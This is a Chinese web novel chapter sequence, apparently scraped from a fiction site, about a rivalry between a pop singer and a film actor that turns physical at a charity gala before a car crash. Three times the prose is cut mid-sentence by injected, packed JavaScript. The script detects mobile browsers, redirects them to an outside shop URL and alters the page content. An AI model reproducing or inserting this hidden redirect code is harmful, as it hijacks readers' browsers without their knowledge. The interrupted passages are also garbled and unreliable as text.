《为失忆死对头戴上项圈》 1. 宿敌 “新专辑《KILLER》的标题很特别,请问是有什么含义吗?” 脑海里浮现出了某个讨人嫌的身影,江洺微微一笑,扯下了半指手套,拿起话筒,“有某个想暗杀的人,算吗?” 台下的记者尴尬一笑,“哈哈,江老师说笑了~” 到底是直播,江洺顺势转了话题,“具体的创作动机,我这里留个悬念,或许喜欢我的歌迷朋友们,可以去歌曲里找找看?” …… “最后,请江老师说一句最喜欢的歌词,送给粉丝朋友们吧。” 江洺靠近了麦,摆了个新专辑中MV的endingpose,微微压低了声音,带着些许危险的意味,“猎物装猎手?我教你开枪。周六零点,来看谁才是猎物!” “江老师,等等!”新专辑发布例行采访将近尾声,江洺正准备站起身离开,席间突然响起了一道不太和谐的声音,他眯了眯眼睛,望了过去。 “江老师,如果傅影帝掉进水里,你救不救?” 问话的是一位年轻的小记者,手持麦的卡面上写着‘娱乐前沿’,一张稚嫩的脸上充满着看热闹不嫌事大的兴奋,正期待的看着他,好似他的回答直接关系着这位本季度的KPI。 对这家媒体,江洺有点印象。 倒不是因为这家媒体多么的有名,而是这位在三天前傅予沉的电影首映礼上,问了一个类似的问题。 ——如果江洺掉进水里,你救不救? 当时的傅予沉一身星空黑西装,眉目冷峻,颇有几分人模狗样。 镜头下,那张一贯有些冷漠的脸上露出了几分笑意,显得颇有几分兴致勃勃,仿佛他已经看见了江洺在水中挣扎似的,语调悠然懒散,带着毫不掩饰的愉悦感,“嗯,我给他扔救生圈。” 而后,又故意停顿了片刻,缓缓补充,“漏气的。” 当天,#傅予沉江洺不共戴天#直接上了热搜。 想到当时的场景,江洺蓦地笑了。 台下经纪人虞绍见状心中一跳,连忙一边示意发布会主持人岔开话题,一边疯狂给江洺使眼色。还不等那位主持人开口,虞绍就听到一个清凌凌的声音响起,“救”。 虞绍猛地抬头,这祖宗今天转性了?开始修身养性、慈悲为怀、以德报怨了? 下一刻,他就看到了江洺冷笑着扯了扯领带,“再亲自送他一程!” 虞绍?!果然还是熟悉的味道,真是一点儿都不意外呢?! -- 采访结束,江洺瞥了眼欲言又止的虞绍,“有话直说。” “你明知道那个记者不怀好意,为什么还要……” 江洺接过保温杯,皱着眉喝了一口杯中特意泡的‘护喉药茶’,才冷笑一声,“呵,不回应还以为我怕了他!” 虞绍…… “我需要他救?”江洺站起身来,眉宇间聚拢着一股子烦躁,“上次让你帮我找的游泳教练,找到了吗?” 江洺出道这些年来,对于圈内热衷的那些冲浪、桨板、潜水等活动几乎是能避则避……肯定不是单纯的不喜欢,虞绍不着痕迹的看了眼江洺有些发白的脸色,愣了一下,“你是认真的?真的要学?” 江洺晃了晃手中的保温杯,仰头一口气喝完,压下了胸腹中那股翻腾而起的不适感,才嗤笑了一声,“不学,等着到时候……姓傅的狗东西给我扔漏气的救生圈吗?” 这……倒也不必如此未雨绸缪,虞绍心中腹诽,突然看到江洺回头看了他一眼。 虞绍脚步一顿,满头问号,不等他问,就见江洺迟疑了一下,“你也去学一下游泳吧?” 虞绍?? “费用走我这边。” 费用不是问题,问题是……虞绍苦着脸摸了摸自己日渐发福的肚皮,他这都放弃身材管理好多年了。况且,他又不是艺人,为什么要吃游泳健身的苦?他觉着有必要为自己发声,试探道,“那个,我就不用了吧?我以后出门自备游泳圈?保证买质量最好的!绝不漏气!” 江洺不为所动,轻飘飘的瞥了他一眼,“学会了,奖金加5%。” “好咧,小的这就去联系游泳教练,包学包会!” 江洺唇角微微勾起,心情似乎好了一些。 觑了眼江洺的神色,虞绍立即领会了‘圣意’,“放心,我回头也让小陈他们都去学!已经会的也要每天都巩固练习,保证咱们团队每一个人都不拖后腿!必要时……能帮你把姓傅的按进水里!” 江洺唇角抽了抽,没忍住在脑海里构想了下傅予沉被人按在水里,拼命挣扎的画面,只感觉自己那点老毛病都好了许多,他抬手给予了虞绍鼓励,“加油,我等着那一天。” -- 与此同时,星耀娱乐,总裁办。 傅予沉一身酒红色西装,一张棱角分明的脸上还带着浅浅的妆容,不知道从哪里沾了些许金粉,显然是刚从什么活动现场回来。 此刻,他脊背放松,向后靠在黑色的真皮沙发上,长腿交叠,单手握着手机,另一只手放松的搭在沙发扶手上,那一贯冷淡的眉眼,罕见的带着几分兴致,像是在品味什么教科书级别的演技片段,又像是什么变态杀手事后在回味作案过程……唇角微微勾着。 手机开着外放,独属于江洺的声音,清凌凌的传了出来。 “救”。 “再亲自送他一程!” …… “救”。 “再亲自送他一程!” 在视频播放第三遍的时候,坐在办公桌后面的顾淮揉了揉眉心,忍不住轻咳一声,“我说,你要是追星的话,要不去隔壁大楼?” 江洺签约的是天音娱乐,是圈内老牌的经济公司,而他们星耀娱乐则是这几年的后起之秀,大约是孽缘吧,当初海川市这栋标志性的双子楼落成,他们在事先完全没有商量的情况下,分别购买了双子楼的A栋和B栋,从此不得不做了朝夕相对的邻居。 “追星?”傅予沉冷笑一声,不以为然,“就他?也就靠脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259313|198014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上位的花瓶而已。” 靠脸上位?花瓶?顾淮唇角抽了抽,想到网络上这会儿的腥风血雨,顾淮……又忍不住要叹气了,自从公司招了这位进来,他这资产是日日攀升,头发是日渐稀少。堂堂总裁做到他这份上,大约也是娱乐圈头一份了。 可傅予沉不仅仅是公司的摇钱树,还算是半个股东,他又能怎么办?还不是只能‘宠’着? “行了,不说他了”顾淮放下手中的签字笔,揉了揉眉心,“三天后,那个秦家牵头的慈善晚宴你去吗?” “不去。”傅予沉头也没抬,“儿童心理发展健康基金会是不错,但是去给秦家的犬子造势,他配吗?” “行,他不配,我回头让别人去。”顾淮也没有强求,只不过是顺便问一声罢了,秦家这次的活动办的声势浩大,业内不少知名导演、投资商都收到了邀请,去了自然会有不少好处,但傅予沉自身不缺资源,不愿意去凑热闹,也无所谓。 公司里还有一堆帅哥美女在那边‘嗷嗷待哺’呢。 傅予沉将手里的手机收起来,又聊了两句正事之后,站起身,突然道,“他去吗?” 顾淮只愣了片刻,就明白了傅予沉口中的‘他’指的是谁,他唇角抽了抽,“这我怎么知道,不过既然是给他们少东家造势,想必是会去的吧。” “行,请柬呢?” “晚点让小张给你……顾淮顺口说道,又突然回过神来,“诶,我说,这都今年第23回了,你能不能消停点?虽然在这个圈子里上热搜是好事,但是你和那位常年在热搜上挂着,难免会有些魑魅魍魉心里不舒服,又到处使绊子,编造些有的没的谣言出来……” 傅予沉充耳不闻,站起身摆了摆手,“走了,回见。” 啧……这狗脾气!顾淮将桌上的金貔貅拿了起来,对着那讨人嫌的背影比划了一下,真是很想砸过去,提醒一下那位,在这个圈子里他们谁才是‘爹’。却见傅予沉又回过头来,“对了,你上次说的那个综艺资源……” 看到顾淮手中的纯金摆件,傅予沉话音一顿,扬了扬眉梢,“怎么?顾总想要把这个送给我?”虽然他对他这位学长的品味难以苟同,但拿去卖了,资助一下贫困地区的儿童也是好的。 想到这貔貅高达七位数的价格,以及讨人嫌的这位高达八位数的粉丝,顾淮恨恨地放下了手,若无其事的一笑,“怎么,你不是说上综艺,像是去动物园当猴子吗?” “哦”,傅予沉微微点头,面色不变,丝毫没有被回旋镖打脸的自觉,认真解释,“嗯,还没有演过动物园的猴子,就突然想试试。” 顾淮?!别以为他不知道,最近江洺那边也在接触那个综艺资源,这货八成又想作妖。 看到顾淮变幻不定的神色,傅予沉心情颇好,挥了挥手,“走了,这事儿就交给你了,学长!” “嘶”,顾淮心中一凛,一不留神把金貔貅上的钻石眼珠子抠了下来。 这货只有作妖的时候,才肯好好喊一声学长。 2. 激吻 三天时间转瞬即逝,慈善晚宴当天。 红毯区被镁光灯照的亮如白昼,江洺一身ChristianL新款高定西装,踏上红毯台阶的时候,身后骤然爆发一阵尖叫声,那声浪几乎掀翻了整个穹顶。 他不用回头也知道,是傅予沉来了,因为每次公开活动,这狗东西总是有意无意地与他前后出现,早两年还可以说是故意炒作,登月碰瓷,贴脸炒作……如今还这样,就只能归结于吃饱了撑得——纯‘贱’了。 也不知道他是不是上辈子挖了这狗东西的祖坟,这辈子被他追着咬。 “洺哥看这边!”快门声交叠,江洺压下心底的不悦,转过身扬起一抹无懈可击的笑容,露出了胸前的宝蓝色胸针,这枚胸针是虞绍特意联系品牌方借的,此刻正在镁光灯下绽放着星辰般璀璨的光芒。 拍完照之后,江洺接过工作人员递过来的签字笔,龙飞凤舞地签上自己的名字,正要离开,却听到一道声音从背后响起。 “江老师,好久不见,合个照?” 江洺暗自翻了个白眼,此刻傅予沉一身藏蓝色西装,剪裁得体的造型更加显得他身高腿长,胸口处点缀了一枚红宝石胸针,好死不死跟自己的造型类似,偏生对方比自己高了几公分,不说话的时候一身气势凛然,颇有几分矜贵冷傲世家公子之感。 按照以往经验,这会儿合照一出,晚上这狗男人就能出“艳压”通稿。 偏生现在众目睽睽之下,还是慈善晚宴开场,他也不能不给主办方面子,将事情闹得太难看,只能矜持地点了点头,并且面向了闪光灯的方向露出了一抹明丽的笑容,暗地里却垫起了脚。只恨今天棋差一着,没塞增高垫。 傅予沉见状,微微垂眸,唇角挑衅的笑意更加明显了些。 台下又掀起了一阵声浪,甚至还能听到CP粉喊什么‘沉洺一生’,江洺暗自握了握拳,忍住打爆某人狗头的欲望,往一旁挪了半步,‘别来沾边’表达的十分明显。 却不曾想,傅予沉却似乎是狗皮膏药一般,又靠近了一步,甚至微微低头,轻笑,“怎么,江老师怕了?” 江洺皮笑肉不笑,在镜头拍不到的角度回敬了一个白眼,“呵呵。” 【S|B】 当然,后面两个字没有出声,只是轻微的展示了一下口型,但他相信傅狗看的懂。 一缕微风拂过,两人靠近的瞬间,若隐若现的‘草莓奶油’的气味传了过来,江洺皱了皱鼻子,没想到这位人模狗样的高冷影帝,竟然私底下用什么草莓味香水。 啧啧……不知道他那些粉丝知不知道,这位所谓的娱乐圈顶级DOM/行走的荷尔蒙,私底下这么……骚。 呵。 -- 两人同框的镜头,通过网络直播实时转发到了网上,瞬间就炸翻了弹幕…… 【江洺独美!无关人士别贴!】 【傅予沉西装杀我!某家蒸煮穿得像卖保险。】 【hyb滚,长得也就那样,那天天往我们洺洺面前贴,也不嫌丢人!】 【导播加鸡腿!多切同框!】 【打起来打起来!我赌一包辣条,是直播镜头阻碍了他们的发挥……】 【江洺别低头!皇冠会掉!傅予沉会笑!】 【导播切近景啊!我要看他们用眼神doi!】 【沉洺基金会连夜申请上市,谁赞成?谁反对?】 -- 内场,宴会过半。 穹顶的鎏金吊灯投射下,轻缓的音乐中,江洺跟几个业内知名的导演、制片人互相交换了名片之后,这才轻轻舒一口气,接过侍者递过来的高脚杯,浅尝了一口。 他并不喜欢眼下这种名利场,但是如今的他面临职业转型,用虞绍的话说,就是不得不提前来‘混个脸熟’。 “江老师?” 一道有些惊喜的声音从不远处响起。 江洺抬头看去,来人二十五六的模样,身量不算高,染着一头红色的头发,身上穿着纯白色的高定西装,只不过面上一副被酒色掏空了身子的虚浮,连妆容都掩饰不了的暗沉肤色,使得整个造型一眼看过去颇有些一言难尽。 江洺微微垂眸,“您是?” 青年的面上闪过一丝不悦,不过很快又笑了起来,“不怪江老师不认识我,我叫秦衡,前两天刚从国外回来。” 江洺暗自回忆了一下,想起来虞绍之前提过,说是他们老板有个儿子在国外留学,近期有回国进入公司工作的打算,原来就是这位? 江洺在心中暗叹了一声虎父犬子,伸出一只手,“你好,我叫江洺,是天音娱乐的艺人,以后还请多多关照!” 秦衡见江洺反应了过来,笑容真切了几分,也伸手,“自然,我在国外就经常听我爸说起您,您可是我们公司的摇钱树,以后还要请江老师照顾才是!” “不客……”江洺寒暄的话语微微一顿,蹙眉。 这人的手指,似乎在有意无意的摩挲他的掌心。 江洺抬眼望去,就看到秦衡的眼神不闪不避,甚至还自以为帅气地对他眨了眨眼,“江老师,我在国外的时候就很是喜欢您……不知道晚点有没有时间?我珍藏了几瓶好酒,就在附近不远的酒庄。” 不是他的错觉,这人想要‘泡’他! 江洺感觉胃中一阵翻腾,微微用力抽出了手,语调冷了几分,“抱歉,我晚上还有约。” “哦,是吗?”秦衡眯眼,似乎在揣度江洺话中的真假,片刻之后还是故作大方到,“那还真是遗憾。不过么,我们来日方长,哈哈哈……那江老师您说个时间?” “抱歉,我最近档期都有些满。”江洺微笑,态度疏离,“小秦总有什么事情,不如找我的经济人谈?” 虞绍适时端着一杯香槟过来,“小秦总,咱们那边谈?” 看着江洺脸上冷淡的神色,秦衡心中愈发火热,但是碍于来之前,他父亲再三嘱咐,让他今天晚上不要惹事生非,只得冷哼一声,暂且作罢。 反正来日方长,以后他有的是机会……不过是个戏子罢了,况且,他都听说了,因为早些年的频繁商演,江洺嗓音条件下降的厉害,公司已经准备解散那个男团,着手推新人了。 如今之所以还‘惯’着他,不过是过渡期,顺便压榨一下‘剩余价值’罢了。 -- 十分钟后,盥洗间。 ‘哗啦啦’的水声中,江洺挤出一点洗手液,揉在掌心,再一点点的抹在指腹、揉开,看着白色的泡沫从指缝冲刷过,直到指尖微微泛红,江洺才感觉胸中翻涌的感觉淡了点。 “哟,江老师今天一个人来的?怎么不见江老师的老队友?” 一股子熟悉的草莓牛奶的味道从身后笼罩而来,江洺手上的动作顿了顿,面前的镜面里倒映出了一张讨人嫌的脸。 江洺几乎瞬间就意识到,傅予沉是故意来挑衅的。 他十六岁从选秀节目成团出道,如今将近十年过去,团里的人心早已经散了,所谓的‘团’也早就名存实亡了,大约过阵子就能看到公司发散团公告。 见江洺沉默,傅予沉愈发高兴起来,他微微低头,凑近了江洺耳畔,“江老师,你……吃独食的样子,可真是……狼狈呢。” 明亮的镜面中,两人身形几乎交叠,远远望过去,是一个比‘拥抱’更为亲密的姿态。 实际上,他们却各自保守着社交距离,连一片衣角都没有碰到,嘴上还说着最恶毒的话,毫不留情的捅向对方的弱点。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我去你的恼羞成怒,我这是为民除害!”江洺一边说着,一边又一拳招呼了过去。 傅予沉伸出拇指抹了下唇角的血迹,笑意更加明显,另一只手挡住了江洺再出打过来的拳头,“怎么,江老师你也知道羞耻吗?那为什么……还要这样做呢?” “滚!” 突然,一阵脚步声踉跄着由远及近传来,还夹杂着打电话的声音,“宝贝,东西已经拍到了,晚点我就去找你……乖乖在酒店等我,mua……” 有人来了?江洺理智回笼,第一反应是推开傅予沉,却不知道是哪个缺德鬼把水撒到了地上,江洺只感觉脚下一滑,不仅没有拉开两人之间的距离,反倒是一个趔趄,合身扑向了傅予沉的方向。 眼看就要扑到狗东西怀里,江洺表示自己宁愿一头磕在洗手台上,他厉喝一声,“滚开!” 傅予沉一愣,本打算让开,好好看看这位‘知名花瓶’,粉丝口中‘女娲的杰作’,一头磕在洗手台上,头破血流的狼狈模样,但是看江洺那股子嫌弃的模样,又逆反心思上头,反而脚步一转,稳稳地站在了江洺的正前方。 ——好整以暇,等待着‘投怀送抱’。 ‘咚’的一声巨响,江洺磕到了傅予沉怀里,在惯性的作用下,又把傅予沉的后脑磕到了他身后的镜面上。 两败俱伤。 傅予沉后脑一阵闷痛,唇角随之也传来一股腥甜,之前被打到的地方,再次遭受重创,被江洺的犬齿磕出了血。 他一把推开了江洺,下意识舔了下一下唇角,似笑非笑,“江老师就这么迫不及待?怎么,是你那金主不能满足你了吗?” 3. 失忆 江洺被推的一个趔趄,伸手在洗手台上扶了一把才稳住身形,感觉到口腔中的一丝腥咸,心中大骂晦气,脸上却浮现出了一抹嘲讽,看向‘破相’的傅予沉,冷哼一声,“哼,活该!” 觑见了傅予沉脸上阴沉的神色,他眸光一转,忍住立即擦嘴的身体本能,似笑非笑,“恶心吗?怎么,这不会是大影帝的初吻吧?还真是抱歉呢。” “哦,我忘了,傅影帝你好像不喜欢男人,在业内连双男主的戏都不肯接呢?”江洺蓦地笑了起来,靠近半步,故作亲昵,在那一团被揉皱的衣襟上拍了拍。 而后又翻脸不认人,突然眸光一冷,他伸手推开傅予沉,在对方有所反应之前,拿出手机‘咔嚓’一声,给对方拍了张怼脸高清大头照,“猜猜看,如果我回去把这张照片发到网上,一分钟能不能给你造八百条黄谣出来?” 手机一角轻轻敲了敲傅予沉的胸膛,江洺轻笑,“今儿哥心善,放你一马,滚吧!下次小心点……” 一墙之隔,外面的脚步声愈发近了。 看到江洺转身要离开,傅予沉的脸色更难看了几分,一时胜负心作祟,单手抓住了江洺的胳膊,腰身用力一旋,就将他整个人按在了一旁的大理石墙壁上。 【找死?!姓傅的,别给脸不要脸!】江洺抬脚就要往傅予沉身上招呼过去。 傅予沉身形一动,膝盖压住了他的腿,微微垂眸,【或许,江老师想要让人看到,我们一起在盥洗间‘亲密接触’?】 这混账玩意儿想要破罐子破摔,威胁他? 【滚!】 -- 方才那一瞬间的反应,仿佛是身体的本能,等大脑反应过来之后,看到被压制在自己身下的江洺,傅予沉也是微微一愣。 两人针锋相对多年,他还是第一次这么近距离,没有屏幕阻隔的,观察江洺。 不愧是粉丝口中的,娱乐圈顶级神颜,偏清冷的眉眼,像是古画中的谪仙,眉骨像一刃薄冰雕的古扇,长睫如蝶翼扑动……眼角的一颗泪痣,又增添了几分旖旎风情……增一分则浓,少一分则淡。 此刻,那双偏浅淡的薄唇上,沾染了艳红的血迹……像是被谁,用暴力抹上的朱砂。 眉眼也因为愤怒而愈发生动,像是夜幕中闪烁的星辰。 在娱乐圈,这位确实有靠脸上位的本钱。 “啧”,傅予沉突然有些烦躁。 鬼使神差的,他俯身靠近的江洺的耳廓,单手压制住挣扎的江洺,另外一只手也腾出来,学着方才江洺的样子给两人拍了张‘合照’。 他声音压得很低,“既然要造谣,怎么能缺少另外一位主角呢?你说是吗?江老师~” ——‘咔嚓’,定格的画面中,两人身影交叠,掩映在灯光阴影中的,仿佛是炽热的真情,热烈的拥吻,就连两人间那‘剑拔弩张’的气氛,仿佛也成了暧昧的拉扯。 “c-a-o!” 醉鬼踉跄着走了进来,抬了抬迷蒙的眼睛,似乎在辨认方向,下一刻就被墙角的两人吓了一跳,然后一句国骂脱口而出,“艹,会场对面就是酒店,就这么饥渴?!” 江洺…… 傅予沉的脸也更黑了。 江洺蓄力一把推开了傅予沉,“好狗不挡道,滚!” 走了两步,江洺又回转身来,抽过一张纸擦了擦嘴角,“以后离我远点!” -- 半个小时后,好不容易安抚了总裁‘发情’的犬子,再看到江洺的时候,虞绍还没来得及上前邀功,就先获得了江洺的一记怒瞪。 虞绍???他真是冤枉,他也不知道总裁的这位犬子这么奇葩啊,当着这么多人的面,就敢骚扰公司名下的艺人。 “放心,你现在是公司的摇钱树,老秦总不会放任他胡来的……” “以后有他在的场合,我都尽量帮你推了。” “实在不行,到时候合约到期了,我们换一家公司。” “江老师?小祖宗?” 虞绍兀自在那边说着,江洺却根本没有听到他在说什么,他直愣愣的坐在沙发上,忍不住抬手摩挲了一下唇角,那一瞬间的触感后知后觉的涌了上来。 他现在的感觉很奇怪,一种说不上来的难受,要是形容的话,就像是误吃了过敏的东西一般,随着时间的推移,慢慢的开始出现了局部不适,然后这种局部不适发酵扩散……直到全身每一个毛孔都叫嚣着不爽。 最为重要的是,丧失了自己的初吻,那位号称直男的狗东西也没恶心到,甚至还被那货反将一军。 想到最后傅予沉笑的诡异的模样,江洺顿时满心烦躁,感觉这会场是一刻都待不下去了。 他蓦地站起身来,“走了。” 虞绍,“啊?” “啊什么啊,沾到了脏东西,我想提前回去洗洗,不行?” 虞绍……他这是被殃及池鱼了吧?!是吧? 看着虞绍茫然的神色,江洺揉了揉眉心,也发觉自己这是迁怒了,他深吸了一口气,缓和了语气,“我先回去?应该没有其他安排了?” 江洺这边的慈善捐款,早些时候已经打到基金会账户上了,虽然晚些时候还有一场小型的慈善拍卖,但不算强制性质的,虞绍想了想,点头,“行,我先去跟主办发打个招呼,然后联系小陈提前把车开到地下停车场。” -- 走在通往VIP专属电梯的通道里,江洺暗暗反思。 今天不仅是他,就连傅予沉那狗东西都不太对劲,难道姓秦的那货给晚会提供的是假酒?喝了人均降智八百那种? 想起被那狗东西拍的照片,江洺心中又一阵窝火,真是日了人类的好朋友了,今儿算是出门没看黄历,24k纯晦气。 好在哪狗东西没疯的话,应该不会公布那种照片,不会公布的话……四舍五入,他可以就当那张照片没拍……没拍他就没吃亏,况且,今儿还打了那狗东西一顿……小胜。 想通了之后,江洺感觉心中的怒火消了一点儿……然后,一抬眸,怒火又蹭的一下上了头。 傅予沉也站在VIP电梯前,听到脚步声,转过了头,瞥了他一眼,江洺甚至明显的感受到,那人戏谑的眸光在他的唇上落了落。 江洺?!咱们特么到底谁才是弯的? 虞绍走在江洺后两步的地方,本来低头发着短信,突然敏锐的感觉到了气氛不对,猛地一抬头,就看到了江洺和傅予沉四目相对,如果目光有实质,两人之间应当已经是刀光剑影,火花四溅,血流满地了。 眼看着气氛愈发紧绷……要完,这两人不会要再这里打起来吧?!虞绍一口气提到了心口。 ‘叮’的一声,电梯门适时打开,缓解了两人之间剑拔弩张的气氛。 虞绍连忙上前,低声对江洺说道,“走吧?” 江洺冷哼一声,率先走进了电梯,然后当着傅予沉的面,按下了关门键。 奈何这VIP专属电梯反应十分迟缓,丝毫没有领会到江洺的意思,慢悠悠的迟疑着,等待着另外一位贵宾入内。傅予沉甚至还有功夫对着江洺挑衅一笑,这才慢悠悠的走进了电梯。 江洺…… 感觉到两人之间气氛愈发奇怪了,虞绍悄摸摸观察了一下,然后就看到傅予沉唇角的伤口,向来以英俊著称的影帝大人,这会儿唇角微微红肿着,还有一处暗红色的血痂,像是……被人‘咬’的? 【啧,怪不得要提前离场。】 虞绍心中漫无目的地想着……原来,这所谓的‘高冷禁欲’的新晋影帝,私底下玩这么疯?也不知道他那些天天在网上喊着‘老公’的粉丝,看到了会怎么想? 所以,他要不要冒着被发现的风险,拍一张照片留存?然后捕风捉影,写一篇300字小作文,黑他一下?怎么滴也得掉个几万唯粉吧? 心中琢磨着,扳倒雇主的死对头之三十六计,还没有来得及实施,电梯就已经到了负二楼停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259315|198014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车场。 ……虞绍遗憾的叹了口气,看向江洺,“刚才你看到了吗?” 江洺满头雾水,“看到什么?” 虞绍指了指走在前面大步离开的某人,压低声音,“傅影帝的嘴角,像是被谁咬的……” 江洺?! 虞绍一瞬间福尔摩斯上身,推了推鼻梁上的眼镜,饶有兴致,“你觉着,刚才在宴会上,谁最有可能?” 江洺…… “要是知道是谁就好了……”虞绍暗搓搓计划,“我想好了,下次买他黑热搜,就说傅予沉慈善晚宴后台与人激吻!” 江洺…… “你觉着我这个计划怎么样?可惜,刚才没来及拍张照片留作证据。”虞绍十分遗憾。 江洺磨了磨牙,转身,“还走不走?” 虞绍颇为遗憾转头,“诶?现在就走吗?待会儿外面蹲着的那些狗仔,看到你们两一起离场,又要瞎扯些有的没的……” 以往,即便是有什么活动,不得不和傅予沉同台,事后也都是分头离开的,今天这事儿也是巧了,谁能想到能这么巧,这两冤家坐一趟电梯下楼? 江洺的脚步顿了顿,不走现在听你当着我的面,瞎扯一些有的没的吗?他这经纪人最近怎么话越来越多了?是不是因为工资给他开太高了……吃的太饱了? 在江洺凉凉的视线中,虞绍敏锐地住了口,“好的,您老说的算,现在就走。” -- 不知道何时,外面下起了雨。 晚春时节,雨落的并不急,细碎的雨滴落在了车窗玻璃上,散射着路上的霓虹,车前的雨刷有一下没一下懒散的挥动着。 傅予沉的手搭在方向盘上,手指轻轻敲动,只有他自己知道,此刻他的心中情绪翻涌……远没有他在江洺面前表现出来的那么淡定。 他与江洺的第一次见面,大约也是在这样的一个夜晚。 彼时,才十来岁的他,背着着画板经过滨江步道时,在一盏老式铁艺路灯下,撞见了一抹月色。 那人一身月白色的西装,像是刚从童话里走出来的王子,精致的有些不真实,彼时正蜷着身子倚在公园的长椅上,不知道是在雨中坐了多久。 傅予沉看到他的时候,他的发梢凝着细密水珠,像枝被雨露压弯的新竹。 风掠过他湿润的指尖,惊起几片沾了不知是雨,还是泪的花瓣,飘向来不及收住的脚步声的傅予沉。 -- 一阵手机铃声响起,傅予沉收回思绪,顺手点了外放。 少年咋咋呼呼的声音响了起来,“啊啊啊,哥你去今天的慈善晚会了,见到江洺老师了吗?” “嗯。” “啊啊啊啊,要到签名了吗?” “滚。” “嘿嘿,人家喜欢他的歌嘛,哥你就努力一下嘛。” “滚,没事少写点作业,多上网。” “啊?” “我们关系不好,全网都知道,你不知道?嗯?” “嗐,网上也有人说你们关系很好呢……”少年音喋喋不休,“况且,宿敌是什么,宿敌就是妻子啊!” “嗯?”傅予沉一时没赶上冲浪少年的脑回路,“你说什么?” “嘿嘿,网上说,你超爱!”少年加重了语气,“我这属于是努力制造你们相遇的机会,顺便为自己谋点福利……” “没事多写点作业,别上网,挂了。”傅予沉烦躁地挂断了电话。 -- ——滴——滴。 车辆的鸣笛声突然闯入,傅予沉猛然抬眸,映入眼帘的就是一束刺目的白光。 意识到发生了什么,傅予沉只来得及猛然握紧方向盘,尽力向路边避让,终究还是慢了一步,“砰”的一声,巨大的撞击感传来,伴随着轮胎在路面上尖啸。 散乱的记忆浮浮沉沉,最终归于一片混沌的黑暗。 只剩下三个字格外清晰——你!超!爱! 4. 哥哥 庾绍推门进来的时候,被室内缭绕的烟火气呛的脚下一个趔趄,他连忙捂住了鼻子,向室内张望。 他也就出门买份夜宵的功夫,这祖宗又闹什么幺蛾子了? 阳台角落里,橙红色火光明灭不定,晃动的光影落在江洺那张俊美不似凡人的脸上,平添了几分身处恐怖片现场的氛围。 庾绍打了个寒颤,连忙换了鞋,又摸黑开了灯,然后拿起遥控器,打开了室内新风系统,“哎哟,祖宗,你这又是在干什么?” “没什么,天冷了,想给某人烧点纸……江洺淡淡道。” ‘嘶啦’一声,说话的功夫,江洺又从手中的杂志上,撕下了一页纸,投到了香炉里。 虞绍无语片刻,连忙把阳台的窗帘拉上,“祖宗,你蹲在这么显眼的地方烧,是怕没有狗仔拍到吗?” 他瞥了眼江洺手中的杂志。 ——深黑色的真皮沙发,青年双腿交叠,西装裤包裹着修长有力的腿型,脚边散落着一条暗红色领带,丝质衬衫袖口卷至手肘,小臂肌肉线条紧绷,指尖挑着一条闪着冷光的银链。 正是江洺的那位死对头,傅予沉。 虞绍暗叹,做为如今娱乐圈最为显赫的新星,那位确实有骄矜的本钱,蹲在一边看着橙色的火苗跳跃,他突然心中一动,“诶,你什么时候买了他的杂志?” 他记得这期N-gentry杂志因为刊登了新晋影帝,已经脱销了。 江洺冷笑一声,“有一次活动,傅狗亲自给我的,我看他就是想要在镜头下给我难堪!” 谁不知道他江洺在娱乐圈沉浮十年,也只上过N-gentry内页,还没有过单人刊,今年本来是有机会的,结果又被这位横空出世的新星截胡了。 庾绍? 每次活动我们几乎全程都在一起,他什么时候给你的?! 你们都有了背着我的小秘密了?! 我还是不是你最最要好的经纪人了?! …… 突然,江洺的手机铃声响了起来。 屏幕上闪烁的是一个陌生号码,江洺没有接陌生电话的习惯,正准备直接挂了,转而想到今天晚上交换了几张名片,他还是把手中烧到了一半的杂志扔到一边,拍了拍手站起身来,接过了电话,“喂,你好。” “你好,这里是明康医院,傅予沉刚意外车祸,请问您是傅先生的朋……” 一个‘友’字都没听完,江洺就打断了对方的话,“抱歉,打错了。” 庾绍有些警惕,“怎么?私生?” 江洺摇头,“不是,诈骗电话。说什么是医院,傅狗车祸了,让我过去呢……全天下都知道,要是傅狗真出事了,我得第一个开香槟庆祝,怎么会找我去医院看望他?” 说罢,江洺将电话扔到沙发上,转头对庾绍说,“好了,我这边没事儿了,你先回去吧。今天晚上的事情,说不好傅狗那边又会出什么幺蛾子,你让公关那边盯着点。” “还有综艺的事情,你也帮我打听一下看是什么情况”,江洺吸了吸鼻子,皱眉,“啧,晦气,我先去洗个澡。” “行,你让我帮你打包的粥,我先给你放桌上里了,你晚点记得吃。”庾绍想了想,又劝到,“别因为生气就不吃饭,到时熬坏了身体,疼的还不是你?” “好,知道了,你先回去休息吧。” 江洺洗完澡出来,沙发上的手机还在锲而不舍的响着,他想了想,一边将粥拿到微波炉里热了,一边点了接听,“你好,再打过来我就报警了。” 听筒对面似乎沉默了片刻,才轻咳一声,有些尴尬的继续到,“江先生您好,这里是汇海分局,您有什么需要帮助的?” 江洺?现在诈骗电话这么嚣张了? 